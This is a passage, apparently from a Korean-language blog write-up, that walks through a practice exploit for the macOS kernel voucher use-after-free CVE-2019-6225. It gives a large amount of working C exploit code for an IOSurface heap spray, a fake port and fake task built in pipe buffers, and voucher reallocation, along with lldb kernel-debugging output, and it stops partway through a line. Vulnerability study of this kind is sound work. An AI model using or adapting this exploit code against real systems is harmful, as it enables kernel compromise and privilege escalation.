\uc2a4\ud504\ub808\uc774\ud558\ub294\ub370 \uc131\uacf5\ud55c\uac83\uc774\ub2e4!<\/p>\n<pre><code class=\"language-c\">seos-iMac-Pro% .\/exp  \n[*] page size: 0x1000, kr=(os\/kern) successful\n[*] IOSurface_init success, IOSurface_id=0x1\n[*] total pipes created: 1280\n[*] got gc at 15 -- breaking, t1-t0: 23916761\n[*] IOSurface_set_value ret: 1\n[*] port: 0x114607\n<\/code><\/pre>\n<p>\uc774\uc81c <code>IOSurfaceRootUserClient::get_value()<\/code> \ub798\ud37c \ud568\uc218\ub97c \uc774\uc6a9\ud558\uc5ec \uc2a4\ud504\ub808\uc774\ub41c \ub370\uc774\ud130\ub4e4 \uc911\uc5d0 \u201c<code>thread_get_mach_voucher<\/code> \u2192 <code>convert_voucher_to_port<\/code> \ud568\uc218\uac00 \ud638\ucd9c\ub418\uba74\uc11c \uc0dd\uc131\ub41c \ubc14\uc6b0\ucc98 \ud3ec\ud2b8 \ucee4\ub110 \uc8fc\uc18c\u201d\ub97c \ucc3e\ub294\ub2e4.<\/p>\n<pre><code class=\"language-c\">    uint8_t *response = (uint8_t *)malloc(spray_size);\n    size_t sz = spray_size;\n\n    int spray_index = 0;\n    int port_index = 0;\n    fake_ipc_voucher_t *target_voucher = NULL;\n\n    INFO(&quot;getting responses...\\n&quot;);\n    for (int s = 0; s &lt; spray_qty; s++)\n    {\n        bzero((void *)response, spray_size);\n\n        struct IOSurfaceValueArgs_string request = {\n            .surface_id = IOSurface_id,\n            ._out1 = 0x0,\n            .string_data = transpose(s),\n            .null = 0\n        }; \n\n        ret = IOSurface_get_value((struct IOSurfaceValueArgs *)&amp;request, sizeof(request), response, &amp;sz);\n        if(ret == false) exit(1);\n\n        uint8_t *cursor = response + 0x10;\n\n        for (int j = 0; j &lt; pagesize \/ sizeof(fake_ipc_voucher_t); j++)\n        {\n            fake_ipc_voucher_t *found_voucher = (fake_ipc_voucher_t *)(cursor + (j * sizeof(fake_ipc_voucher_t)));\n\n            if (found_voucher-&gt;iv_port != 0)\n            {\n                INFO(&quot;found voucher!! s: %d, j: %d\\n&quot;, s, j);\n                INFO(&quot;port: 0x%llx\\n&quot;, found_voucher-&gt;iv_port);\n                INFO(&quot;refs: %d\\n&quot;, found_voucher-&gt;iv_refs);\n\n                getchar();\n                \n                spray_index = s;\n                port_index = j;\n                target_voucher = found_voucher;\n\n                goto found_voucher_lbl;\n            }\n        }\n    }\n\n    if (target_voucher == NULL)\n    {\n        ERROR(&quot;failed to find the target voucher :-(\\n&quot;);\n        return -1;\n    }\n\nfound_voucher_lbl:;\n...\n<\/code><\/pre>\n<pre><code class=\"language-c\">[*] WE REALLY POSTED UP ON THIS BLOCK -- part 1 of #alwaysstayposted\n[*] getting responses...\n[*] found voucher!! s: 743, j: 39\n[*] port: 0xffffff8017e3c610\n[*] refs: 101\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image%204.png\" alt=\"image.png\"><\/p>\n<h3><strong><code>thread_get_mach_voucher<\/code> \ud638\ucd9c\uc744 \ud1b5\ud574 \uc774 \ubc14\uc6b0\ucc98\/\ud3ec\ud2b8\uc5d0 \ub300\ud55c \ud578\ub4e4\uc744 \uc5bb\uc744 \uc218 \uc788\uc5c8\ub358 \uc774\uc720\ub294 \ubb34\uc5c7\uc77c\uae4c?<\/strong><\/h3>\n<p>\uc2e4\uc81c \ucee4\ub110 \ub514\ubc84\uae45\uc744 \ud574\ubcf4\uba74\uc11c \uc54c\uc544\ubcf4\uc790.<\/p>\n<p>\ubd84\uc11d \uc9c0\uc810\uc740 \ud799 \uc2a4\ud504\ub808\uc774 \uc774\ud6c4\uc5d0 <code>thread_get_mach_voucher<\/code> \ud568\uc218 \ud638\ucd9c \uc804\uacfc \ud6c4\ub85c \ub098\ub258\uba70,<\/p>\n<pre><code class=\"language-c\">\/* fingers crossed we get a userland handle onto our 'fakeport' object *\/\n    printf(&quot;pauseing...\\n&quot;);\n    getchar();\n    ret = thread_get_mach_voucher(mach_thread_self(), 0, &amp;real_port_to_fake_voucher);\n    INFO(&quot;port: 0x%x\\n&quot;, real_port_to_fake_voucher);\n\n    printf(&quot;thread_get_mach_voucher called, port printed...\\n&quot;);\n    getchar();\n<\/code><\/pre>\n<p>\ud574\ub2f9 \ud568\uc218\ub294 \uc0ac\uc6a9\uc790 \uacf5\uac04\uc5d0\uc11c \ubc14\uc6b0\ucc98 \ucc38\uc870\ub97c \uc77d\uace0 \uc4f8 \uc218 \uc788\ub3c4\ub85d \ud558\ub294\ub370, \uc774 \ud568\uc218\uc5d0 \ub300\ud574\uc11c \uc790\uc138\ud788 \uc0b4\ud3b4\ubcf4\ub824\uba74 <strong>MIG<\/strong> \uc0dd\uc131 \ucf54\ub4dc\ub97c \uc0b4\ud3b4\ubd10\uc57c \ud55c\ub2e4.<\/p>\n<p>\ud574\uc81c\ub41c \ubc14\uc6b0\ucc98\ub97c \ub2e4\ub978 \uac1d\uccb4\ub85c \uc7ac\ud560\ub2f9\ud588\ub2e4\uace0 \uac00\uc815\ud558\uba74, <code>thread_get_mach_voucher<\/code> \ud638\ucd9c\uc740 \ucee4\ub110 \ud328\ub2c9 \uc5c6\uc774 \uc131\uacf5\ud574\uc57c \ud55c\ub2e4. \ucee4\ub110 \ub0b4\uc5d0\uc11c \ud638\ucd9c\ub418\ub294 <code>thread_get_mach_voucher<\/code> \ud568\uc218\ub294 2688\ubc88\uc9f8 \ub77c\uc778\uc5d0 \uc788\uc73c\uba70, \uc774 \ud568\uc218\ub294 <code>ipc_voucher_reference(voucher)<\/code>\ub97c \ud638\ucd9c\ud558\ub294\ub370, \uc774\ub294 <code>iv_refs<\/code> \ud544\ub4dc\uac00 \ubc14\uc6b0\ucc98\uc5d0 \ub300\ud574 \uc720\ud6a8\ud558\ub2e4\ub294 \uac83\uc744 \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">    File: .\/BUILD\/obj\/RELEASE_X86_64\/osfmk\/RELEASE\/mach\/thread_act_server.c\n    2597: \/* Routine thread_get_mach_voucher *\/\n    2598: mig_internal novalue _Xthread_get_mach_voucher\n    2599: \t(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)\n    2600: {\n    2601: \n    2602: #ifdef  __MigPackStructs\n    2603: #pragma pack(4)\n    2604: #endif\n    2605: \ttypedef struct {\n    2606: \t\tmach_msg_header_t Head;\n    2607: \t\tNDR_record_t NDR;\n    2608: \t\tmach_voucher_selector_t which;\n    2609: \t\tmach_msg_trailer_t trailer;\n    2610: \t} Request __attribute__((unused));\n    2611: #ifdef  __MigPackStructs\n    2612: #pragma pack()\n    2613: #endif\n    2614: \ttypedef __Request__thread_get_mach_voucher_t __Request;\n    2615: \ttypedef __Reply__thread_get_mach_voucher_t Reply __attribute__((unused));\n    2616: \n    2617: \t\/*\n    2618: \t * typedef struct {\n    2619: \t * \tmach_msg_header_t Head;\n    2620: \t * \tNDR_record_t NDR;\n    2621: \t * \tkern_return_t RetCode;\n    2622: \t * } mig_reply_error_t;\n    2623: \t *\/\n    2624: \n    2625: \tRequest *In0P = (Request *) InHeadP;\n    2626: \tReply *OutP = (Reply *) OutHeadP;\n    2627: #ifdef\t__MIG_check__Request__thread_get_mach_voucher_t__defined\n    2628: \tkern_return_t check_result;\n    2629: #endif\t\/* __MIG_check__Request__thread_get_mach_voucher_t__defined *\/\n    2630: \n    2631: #if\t__MigKernelSpecificCode\n    2632: #if\tUseStaticTemplates\n    2633: \tconst static mach_msg_port_descriptor_t voucherTemplate = {\n    2634: \t\t\/* name = *\/\t\tMACH_PORT_NULL,\n    2635: \t\t\/* pad1 = *\/\t\t0,\n    2636: \t\t\/* pad2 = *\/\t\t0,\n    2637: \t\t\/* disp = *\/\t\t17,\n    2638: \t\t\/* type = *\/\t\tMACH_MSG_PORT_DESCRIPTOR,\n    2639: \t};\n    2640: #endif\t\/* UseStaticTemplates *\/\n    2641: \n    2642: #else\n    2643: #if\tUseStaticTemplates\n    2644: \tconst static mach_msg_port_descriptor_t voucherTemplate = {\n    2645: \t\t\/* name = *\/\t\tMACH_PORT_NULL,\n    2646: \t\t\/* pad1 = *\/\t\t0,\n    2647: \t\t\/* pad2 = *\/\t\t0,\n    2648: \t\t\/* disp = *\/\t\t19,\n    2649: \t\t\/* type = *\/\t\tMACH_MSG_PORT_DESCRIPTOR,\n    2650: \t};\n    2651: #endif\t\/* UseStaticTemplates *\/\n    2652: \n    2653: #endif \/* __MigKernelSpecificCode *\/\n    2654: \tkern_return_t RetCode;\n    2655: \tthread_act_t thr_act;\n    2656: \tipc_voucher_t voucher;\n    2657: \n    2658: \t__DeclareRcvRpc(3625, &quot;thread_get_mach_voucher&quot;)\n    2659: \t__BeforeRcvRpc(3625, &quot;thread_get_mach_voucher&quot;)\n    2660: \n    2661: #if\tdefined(__MIG_check__Request__thread_get_mach_voucher_t__defined)\n    2662: \tcheck_result = __MIG_check__Request__thread_get_mach_voucher_t((__Request *)In0P);\n    2663: \tif (check_result != MACH_MSG_SUCCESS)\n    2664: \t\t{ MIG_RETURN_ERROR(OutP, check_result); }\n    2665: #endif\t\/* defined(__MIG_check__Request__thread_get_mach_voucher_t__defined) *\/\n    2666: \n    2667: #if\tUseStaticTemplates\n    2668: \tOutP-&gt;voucher = voucherTemplate;\n    2669: #else\t\/* UseStaticTemplates *\/\n    2670: #if __MigKernelSpecificCode\n    2671: \tOutP-&gt;voucher.disposition = 17;\n    2672: #else\n    2673: \tOutP-&gt;voucher.disposition = 19;\n    2674: #endif \/* __MigKernelSpecificCode *\/\n    2675: #if !(defined(KERNEL) &amp;&amp; defined(__LP64__))\n    2676: \tOutP-&gt;voucher.pad1 = 0;\n    2677: #endif\n    2678: \tOutP-&gt;voucher.pad2 = 0;\n    2679: \tOutP-&gt;voucher.type = MACH_MSG_PORT_DESCRIPTOR;\n    2680: #if defined(KERNEL)\n    2681: \tOutP-&gt;voucher.pad_end = 0;\n    2682: #endif\n    2683: #endif\t\/* UseStaticTemplates *\/\n    2684: \n    2685: \n    2686: \tthr_act = convert_port_to_thread(In0P-&gt;Head.msgh_request_port);\n    2687: \n    2688: \tRetCode = thread_get_mach_voucher(thr_act, In0P-&gt;which, &amp;voucher);\n    2689: \tthread_deallocate(thr_act);\n    2690: \tif (RetCode != KERN_SUCCESS) {\n    2691: \t\tMIG_RETURN_ERROR(OutP, RetCode);\n    2692: \t}\n    2693: #if\t__MigKernelSpecificCode\n    2694: #endif \/* __MigKernelSpecificCode *\/\n    2695: \tOutP-&gt;voucher.name = (mach_port_t)convert_voucher_to_port(voucher);\n    2696: \n    2697: \n    2698: \tOutP-&gt;Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;\n    2699: \tOutP-&gt;Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));\n    2700: \tOutP-&gt;msgh_body.msgh_descriptor_count = 1;\n    2701: \t__AfterRcvRpc(3625, &quot;thread_get_mach_voucher&quot;)\n    2702: }\n<\/code><\/pre>\n<p><code>thread_get_mach_voucher<\/code> \ud568\uc218\uc5d0 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\ub97c \uac78\uc5b4 \ud655\uc778\ud574\ubcf4\uba74,\n<code>thread-&gt;ith_voucher<\/code>\ub294 0xffffff8026187d70\ub97c \uac00\ub9ac\ud0a4\uba70,\n<strong>\uc2a4\ud504\ub808\uc774\uc5d0 \uc758\ud574 \uc870\uc791\ub41c iv_refs=100\uc774 \ub4e4\uc5b4\uac00\uc788\uace0, iv_port\ub294 NULL\uc778 \uc0c1\ud0dc\ub85c \uc720\ud6a8\ud558\uc9c0 \uc54a\ub2e4.<\/strong><\/p>\n<pre><code class=\"language-c\">(lldb) b *0xffffff8019de5560\nBreakpoint 1: where = kernel`thread_get_mach_voucher at thread.c:3044, address = 0xffffff8019de5560\n(lldb) c\nProcess 1 resuming\nProcess 1 stopped\n* thread #1, stop reason = signal SIGTRAP\n    frame #0: 0xffffff8019eda180 kernel`machine_idle at pmCPU.c:174:3 [opt]\nTarget 0: (kernel) stopped.\n(lldb) c\nProcess 1 resuming\nProcess 1 stopped\n* thread #1, stop reason = breakpoint 1.1\n    frame #0: 0xffffff8019de5560 kernel`thread_get_mach_voucher(thread=0xffffff8024395370, which=2137391104, voucherp=0xffffff807a8f3d60) at thread.c:3044 [opt]\nTarget 0: (kernel) stopped.\n(lldb) p *(thread_act_t)$rdi\n(thread) $2 = {\n...\n  **ith_voucher = 0xffffff8026187d70**\n...\n}\n**(lldb) p *(ipc_voucher_t)0xffffff8026187d70**\n(ipc_voucher) $3 = {\n  iv_hash = 0\n  iv_sum = 0\n  iv_refs = (ref_count = 100)\n  iv_table_size = 0\n  iv_inline_table = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0, [6] = 0, [7] = 0)\n  iv_table = 0x0000000000000000\n  iv_port = NULL\n  iv_hash_link = {\n    next = NULL\n    prev = NULL\n  }\n}\n<\/code><\/pre>\n<p><code>thread_get_mach_voucher<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud55c \uc774\ud6c4,\n0xffffff8026187d70 \uc8fc\uc18c\uc778 <code>thread-&gt;ith_voucher<\/code> \uad6c\uc870\uccb4\ub97c \ub2e4\uc2dc \ud655\uc778\ud558\uba74\n<strong>\uc774\ubc88\uc5d0\ub294 iv_port \ucee4\ub110 \uc8fc\uc18c\uac00 \uc368\uc9c4 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4.<\/strong><\/p>\n<pre><code class=\"language-c\">**(lldb) p *(ipc_voucher_t)0xffffff8026187d70**\n(ipc_voucher) $4 = {\n  iv_hash = 0\n  iv_sum = 0\n  iv_refs = (ref_count = 101)\n  iv_table_size = 0\n  iv_inline_table = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0, [6] = 0, [7] = 0)\n  iv_table = 0x0000000000000000\n  **iv_port = 0xffffff802a119110**\n  iv_hash_link = {\n    next = NULL\n    prev = NULL\n  }\n}\n(lldb) p *(ipc_port_t)0xffffff802a119110\n(ipc_port) $5 = {\n  ip_object = {\n    io_bits = 2147483685\n    io_references = 3\n    io_lock_data = (interlock = 0)\n  }\n  ip_messages = {\n    data = {\n      port = {\n        waitq = {\n          waitq_type = 2\n          ...\n<\/code><\/pre>\n<p>0xffffff8026187d70 \uc8fc\uc18c\uc758 iv_port\uac00 \uc368\uc9c4 \uc774\uc720\ub294 <code>convert_voucher_to_port<\/code> \ud638\ucd9c \ud568\uc218\uc5d0 \uc788\ub2e4.<\/p>\n<p>503\ubc88\uc9f8 \ub77c\uc778\uc5d0\uc11c \ucc98\uc74c\uc73c\ub85c \ud655\uc778\ub418\ub294 \uac83 \uc911 \ud558\ub098\ub294 \ubc14\uc6b0\ucc98\uac00 \uc62c\ubc14\ub978 \ucc38\uc870 \uce74\uc6b4\ud2b8\ub97c \uac00\uc9c0\uace0 \uc788\ub294\uc9c0 \uc5ec\ubd80\uc774\ub2e4. \uadf8 \ud6c4 507\ubc88\uc9f8 \ub77c\uc778\uc5d0\uc11c\ub294 \ubc14\uc6b0\ucc98\uc758 \ud3ec\ud2b8\uac00 \uc720\ud6a8\ud55c\uc9c0 \ud655\uc778\ud55c\ub2e4. <strong>\ub9cc\uc57d \uc720\ud6a8\ud558\uc9c0 \uc54a\uc73c\uba74, \uc0c8 \ud3ec\ud2b8\uac00 \ud560\ub2f9\ub41c\ub2e4.<\/strong><\/p>\n<p>\uc774\ub294 \ud6cc\ub96d\ud55c\ub370, \uc65c\ub0d0\ud558\uba74 \uc6b0\ub9ac\uac00 \ud574\uc81c\ub41c \ubc14\uc6b0\ucc98\ub97c \ub300\uccb4\ud558\uae30 \uc704\ud574 \uac00\uc9dc \ubc14\uc6b0\ucc98\ub97c \ud560\ub2f9\ud560 \ub54c, <code>iv_port<\/code> \ud3ec\uc778\ud130\ub97c <code>NULL<\/code>\ub85c \uc720\uc9c0\ud55c\ub2e4\uba74, \uc2e4\uc81c\ub85c \uc0c8\ub85c \ud560\ub2f9\ub41c \ubc14\uc6b0\ucc98 \ud3ec\ud2b8(<code>IKOT_VOUCHER<\/code>)\ub97c \ud574\ub2f9 \ubc14\uc6b0\ucc98\uc5d0 \ub300\ud574 \uc0ac\uc6a9\uc790 \uacf5\uac04\uc73c\ub85c \uac00\uc838\uc62c \uc218 \uc788\uae30 \ub54c\ubb38\uc774\ub2e4. \uadf8\ub7f0 \ub2e4\uc74c <code>ith_voucher-&gt;iv_port<\/code>\ub85c \uc774\ub97c \ucc38\uc870\ud560 \uc218 \uc788\uc73c\uba70, \uc774\ub294 \ubc14\uc6b0\ucc98\ub97c \ucd94\uac00\ub85c \uc870\uc791\ud560 \uc218 \uc788\uac8c \ud574\uc900\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">    File: .\/osfmk\/ipc\/ipc_voucher.c\n    492: \/*\n    493:  * \ubc14\uc6b0\ucc98\ub97c \ud3ec\ud2b8\ub85c \ubcc0\ud658\ud569\ub2c8\ub2e4.\n    494:  *\/\n    495: ipc_port_t\n    496: convert_voucher_to_port(ipc_voucher_t voucher)\n    497: {\n    498: \tipc_port_t\tport, send;\n    499: \n    500: \tif (IV_NULL == voucher)\n    501: \t\treturn (IP_NULL);\n    502: \n    503: \tassert(os_ref_get_count(&amp;voucher-&gt;iv_refs) &gt; 0);\n    504: \n    505: \t\/* \ud544\uc694\ud55c \uacbd\uc6b0 \ud3ec\ud2b8\ub97c \uc0dd\uc131\ud569\ub2c8\ub2e4. *\/\n    506: \tport = voucher-&gt;iv_port;\n    507: \tif (!IP_VALID(port)) {\n    508: \t\tport = ipc_port_alloc_kernel(); \/\/\uc0c8\ub85c \ud560\ub2f9\ub428!!!!!!!!!!!!!\n    509: \t\tassert(IP_VALID(port));\n    510: \t\tipc_kobject_set_atomically(port, (ipc_kobject_t) voucher, IKOT_VOUCHER);\n    511: \n    512: \t\t\/* \uacbd\uc7c1\uc5d0\uc11c \uc9c0\uba74, \uba54\ubaa8\ub9ac\ub97c \ud574\uc81c\ud558\uace0 \ub2e4\ub978 \uc0ac\ub78c\uc758 \ud3ec\ud2b8\ub97c \uac00\uc838\uc635\ub2c8\ub2e4. *\/\n    513: \t\tif (!OSCompareAndSwapPtr(IP_NULL, port, &amp;voucher-&gt;iv_port)) {\n    514: \t\t\tipc_port_dealloc_kernel(port);\n    515: \t\t\tport = voucher-&gt;iv_port;\n    516: \t\t\tassert(ip_kotype(port) == IKOT_VOUCHER);\n    517: \t\t\tassert(port-&gt;ip_kobject == (ipc_kobject_t)voucher);\n    518: \t\t}\n    519: \t}\n    520: \t\n<\/code><\/pre>\n<p>\uc5ec\uae30\uae4c\uc9c0 \uc624\uba74 \uc0c1\ud669\uc774 \uc88b\uc544 \ubcf4\uc778\ub2e4.\n\uc6b0\ub9ac\uc758 \ud3ec\ud2b8\uac00 \uc2e4\uc81c\ub85c \uc720\ud6a8\ud558\ub2e4\uba74, \uc774 \uc2dc\uc810\ubd80\ud130\ub294 100% \uc131\uacf5 \ud655\ub960\uc744 \uac00\uc9c8 \uac83\uc774\uba70, \uc704\ud5d8\ud55c \ubd80\ubd84\uc740 \ub05d\ub0ac\ub2e4.<\/p>\n<h2>2. kread primitive \uad6c\ucd95 \uc900\ube44\ud558\uae30<\/h2>\n<h3>fakeport + faketask \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774<\/h3>\n<p>\uba3c\uc800 <code>pipe<\/code> \ud568\uc218\ub97c \uc0ac\uc6a9\ud574 \ud504\ub85c\uc138\uc2a4 \uac04 \ud1b5\uc2e0\uc6a9 \ud30c\uc774\ud504 \ud578\ub4e4 \uc30d(<code>fds<\/code>)\uc744 \ud560\ub2f9\ud558\uae30 \uc704\ud574, 0x500\uac1c\uc758 \ud30c\uc774\ud504\ub97c \uc0dd\uc131\ud55c\ub2e4. \uc774\ub294 fake port\ub97c \uc4f0\uae30 \uc704\ud568\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">    \/\/ pipe preparation\n    void *pipebuf = malloc(pagesize);\n    bzero(pipebuf, pagesize);\n\n    int *pipefds = NULL;\n    int total_pipes = 0x500;\n    size_t total_pipes_size = total_pipes * 2 * sizeof(int);\n    pipefds = malloc(total_pipes_size);\n    bzero(pipefds, total_pipes_size);\n    for (size_t i = 0; i &lt; total_pipes; i++) \n    {\n        \/* \n            we arrange our pipes in pairs  \n            where pipe N is a read pipe, and \n            pipe N+1 is the corresponding write pipe\n        *\/\n        pipefds[i * 2] = -1;\n        pipefds[i * 2 + 1] = -1;\n        \n        int error = pipe(&amp;pipefds[i * 2]);\n        if (error != 0 ||\n            pipefds[i * 2] &lt; 0 ||\n            pipefds[i *  + 1] &lt; 0)\n        {\n            close(pipefds[i * 2]);\n            close(pipefds[i * 2 + 1]);\n\n            total_pipes = i;\n            break;   \n        }\n\n        set_nonblock(pipefds[i * 2 + 1]);\n    }\n    INFO(&quot;total pipes created: %d\\n&quot;,total_pipes);\n    \/\/\n<\/code><\/pre>\n<p>\uc774\ud6c4 IOSurface \uc2a4\ud504\ub808\uc774\ub97c \ud1b5\ud574 \ubfcc\ub9b4 fake voucher\ub97c \uc0dd\uc131\ud55c\ub2e4. iv_refs\ub294 200\uc774\uba70, iv_port \ud544\ub4dc\ub294 <strong>\uc608\uce21\ub418\ub294<\/strong> \ud30c\uc774\ud504\uc5d0 \uc368\ub454 \ud3ec\ud2b8 \ucee4\ub110\uc8fc\uc18c\ub97c \uc758\ubbf8\ud558\ub294\ub370, \ud658\uacbd\ub9c8\ub2e4 \uacf1\ud574\uc9c0\ub294 \uc218\uac00 \ub2ec\ub77c\uc9c8 \uc218 \uc788\ub2e4. \uc6d0\ubcf8 \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\uc5d0\uc11c\ub294 32(=0x20)\uc73c\ub85c \ub418\uc5b4\uc788\uc5c8\uc9c0\ub9cc, \ub0b4 \ud658\uacbd\uc5d0\uc11c\ub294 \ub354 \uba40\ub9ac \ub5a8\uc5b4\uc838\uc788\uc5c8\uae30\uc5d0 0x140\uc744 \uacf1\ud574\uc8fc\uc5b4\uc57c \ud588\ub2e4.<\/p>\n<pre><code class=\"language-c\">    mach_port_t the_one = real_port_to_fake_voucher;\n    uint64_t original_port_addr = target_voucher-&gt;iv_port;\n\n    fake_ipc_voucher_t new_voucher = (fake_ipc_voucher_t)\n    {\n        .iv_refs = 200,\n        .iv_port = (original_port_addr &amp; ~(pagesize - 1)) + (pagesize * 0x140),\n    };\n    INFO(&quot;new port addr: 0x%llx\\n&quot;, new_voucher.iv_port);\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image%205.png\" alt=\"image.png\"><\/p>\n<p>\ub2e4\uc74c\uc73c\ub85c, \ucee4\ub110 \ub0b4\uc758 \ud3ec\ud2b8 \ubc14\ub85c \ub4a4\uc5d0 \ud0dc\uc2a4\ud06c \uad6c\uc870\uccb4\ub97c \ub2f4\uc744 \uc218 \uc788\ub3c4\ub85d \uc5f0\uc18d\ub41c \uc601\uc5ed\uc744 \ud560\ub2f9\ud558\uac8c\ub054 \ub9cc\ub4e0\ub2e4.<\/p>\n<p>\uc704\uc870\uc2dc\ud0a8 fakeport\uc640 faketask \ub370\uc774\ud130\ub4e4\uc744 pipebuf\uc5d0 \ubcf5\uc0ac\ud558\uace0, \ud30c\uc774\ud504\uc5d0 \uc4f4\ub2e4.<\/p>\n<pre><code class=\"language-c\">    \/* set up our fakeport for use later *\/\n    kport_t *fakeport = NULL;\n    fakeport = malloc(sizeof(kport_t));\n    bzero((void *)fakeport, sizeof(kport_t));\n\n    fakeport-&gt;ip_bits = IO_BITS_ACTIVE | IKOT_TASK;\n    fakeport-&gt;ip_references = 100;\n    fakeport-&gt;ip_lock.type = 0x11;\n    fakeport-&gt;ip_messages.port.receiver_name = 1;\n    fakeport-&gt;ip_messages.port.msgcount = 0;\n    fakeport-&gt;ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;\n    fakeport-&gt;ip_messages.port.waitq.flags = mach_port_waitq_flags();\n    fakeport-&gt;ip_srights = 99;\n#define PIPEBUF_TASK_OFFSET 0x100\n    fakeport-&gt;ip_kobject = new_voucher.iv_port + PIPEBUF_TASK_OFFSET; \/* place the task struct just after the kport *\/\n\n    memcpy(pipebuf, (void *)fakeport, sizeof(kport_t));\n    for (int i = 0; i &lt; total_pipes; i++)\n    {\n        int wfd = pipefds[2 * i + 1];\n        size_t written = write(wfd, pipebuf, pagesize - 1);\n        \n        if (written != pagesize - 1)\n        {\n            \/* failed to write, all our pipebuffers are full &amp; we've run out of mem *\/ \n\n            total_pipes = i;\n            INFO(&quot;total_pipes is now: %d&quot;, total_pipes);\n            break;\n        }\n    }\n<\/code><\/pre>\n<h3>fake new_voucher \uc2a4\ud504\ub808\uc774<\/h3>\n<p>\uc6b0\ub9ac\ub294 \ub2e4\uc2dc\ud55c\ubc88 OSUnserializeBinary XML Spraying \uc6d0\ub9ac\ub97c \uc774\uc6a9\ud558\uc5ec new_voucher \ub370\uc774\ud130\ub97c \uc7ac\ud560\ub2f9\uc2dc\ucf1c\uc900\ub2e4. \uae30\uc874\uc5d0  IOSurface_remove_value\ub85c \uc624\ubc84\ub7a9\ub41c \uc778\ub371\uc2a4(spray_index)\uc5d0 \ud574\ub2f9\ub418\ub294 fake voucher \ubaa8\uc778 \ud398\uc774\uc9c0 \uc9d1\ud569\ub4e4\uc744 free\uc2dc\ud0a4\uace0 <strong>\u201div_refs=200, iv_port=fake port \ub370\uc774\ud130\uac00 \uc801\ud78c \ud30c\uc774\ud504 \ud560\ub2f9 \uc608\uce21\uc8fc\uc18c\u201d \ub85c \uad6c\uc131\ub41c fake new_voucher<\/strong>\ub85c \uc7ac\ud560\ub2f9\uc2dc\ud0a8\ub2e4.<\/p>\n<pre><code class=\"language-c\">    \/* we used this smaller dict later in order to reallocate our target OSString *\/\n    int small_dictsz = (9 * sizeof(uint32_t)) + pagesize;\n    uint32_t *dict_small = malloc(small_dictsz);\n    bzero((void *)dict_small, small_dictsz);\n\n    dict_small[0] = IOSurface_id;\n    dict_small[1] = 0x0;\n    dict_small[2] = kOSSerializeMagic; \n    dict_small[3] = kOSSerializeEndCollection | kOSSerializeArray | 1;\n    dict_small[4] = kOSSerializeEndCollection | kOSSerializeDictionary | 1;\n    dict_small[5] = kOSSerializeSymbol | 5;\n    dict_small[6] = transpose(spray_index); \/* Key *\/\n    dict_small[7] = 0x0;\n    dict_small[8] = kOSSerializeEndCollection | kOSSerializeString | (pagesize - 1);\n\n    uint8_t *osstring_buf = (uint8_t *)dict_small + (9 * sizeof(uint32_t));\n    \/* overwrite all the ports in the osstring *\/\n    for (uintptr_t ptr = (uintptr_t)osstring_buf, end = ptr + pagesize;\n         ptr + sizeof(fake_ipc_voucher_t) &lt;= end;\n         ptr += sizeof(fake_ipc_voucher_t))\n    {\n        bcopy((const void *)&amp;new_voucher, (void *)ptr, sizeof(fake_ipc_voucher_t));  \n    }\n\n    INFO(&quot;realloc'ing...\\n&quot;);\n\n    sched_yield();\n\n    struct IOSurfaceValueArgs_string request = {\n        .surface_id = IOSurface_id,\n        ._out1 = 0x0,\n        .string_data = transpose(spray_index),\n        .null = 0\n    }; \n    ret = IOSurface_remove_value((struct IOSurfaceValueArgs *)&amp;request, sizeof(request));\n    if(ret == false) exit(1);\n\n    ret = IOSurface_set_value(dict_small, small_dictsz);\n    if(ret == false) exit(1);\n\n    for (int i = 0; i &lt; 0x10; i++)\n    {\n        if (i == spray_index)  \n        {\n            continue;\n        }\n\n        dict_small[6] = transpose(i); \n\n        ret = IOSurface_set_value(dict_small, small_dictsz);\n        if(ret == false) exit(1);\n    }\n<\/code><\/pre>\n<p>thread_get_mach_voucher \ud568\uc218\ub85c \uc0ac\uc6a9\uc790 \uacf5\uac04\uc758 \ud3ec\ud2b8\ub97c \ub2e4\uc2dc \ubc1b\uc544\uc628\ub2e4. \uc774\uc804\uacfc\uc758 \ud3ec\ud2b8\uc640 \ub2ec\ub77c\uc84c\ub2e4\uba74,  iv_port\uc5d0 fakeport\uac00 \uc801\ud78c \ud30c\uc774\ud504 \ud560\ub2f9\uc8fc\uc18c\ub85c \ub41c fake new_voucher\ub85c \uc7ac\ud560\ub2f9\ub410\ub2e4\ub294\uac83\uc744 \uc758\ubbf8\ud558\uba70\n\uc774\uc81c fakeport \ub610\ud55c pipe write\ub97c \ud1b5\ud574 \uc784\uc758\ub85c \uc870\uc791\ud560 \uc900\ube44\uac00 \ub410\ub2e4.<\/p>\n<pre><code class=\"language-c\">    mach_port_t old_real_port = real_port_to_fake_voucher;\n    ret = thread_get_mach_voucher(mach_thread_self(), 0, &amp;real_port_to_fake_voucher);\n    if (ret != KERN_SUCCESS)\n    {\n        INFO(&quot;failed to call thread_get_mach_voucher: %x %s&quot;, ret, mach_error_string(ret)); exit(1);\n    }\n\n    INFO(&quot;old port: %x\\n&quot;, old_real_port);\n    INFO(&quot;new port: %x\\n&quot;, real_port_to_fake_voucher);\n\n    if (old_real_port == real_port_to_fake_voucher)\n    {\n        INFO(&quot;failed to get new port :(\\n&quot;); exit(1);\n    }\n\n    the_one = real_port_to_fake_voucher;\n\n    if (!MACH_PORT_VALID(the_one))\n    {\n        INFO(&quot;the_one is not valid :-( failed to realloc\\n&quot;); exit(1);\n    }\n\n    INFO(&quot;WE REALLY TRAPPIN OUT 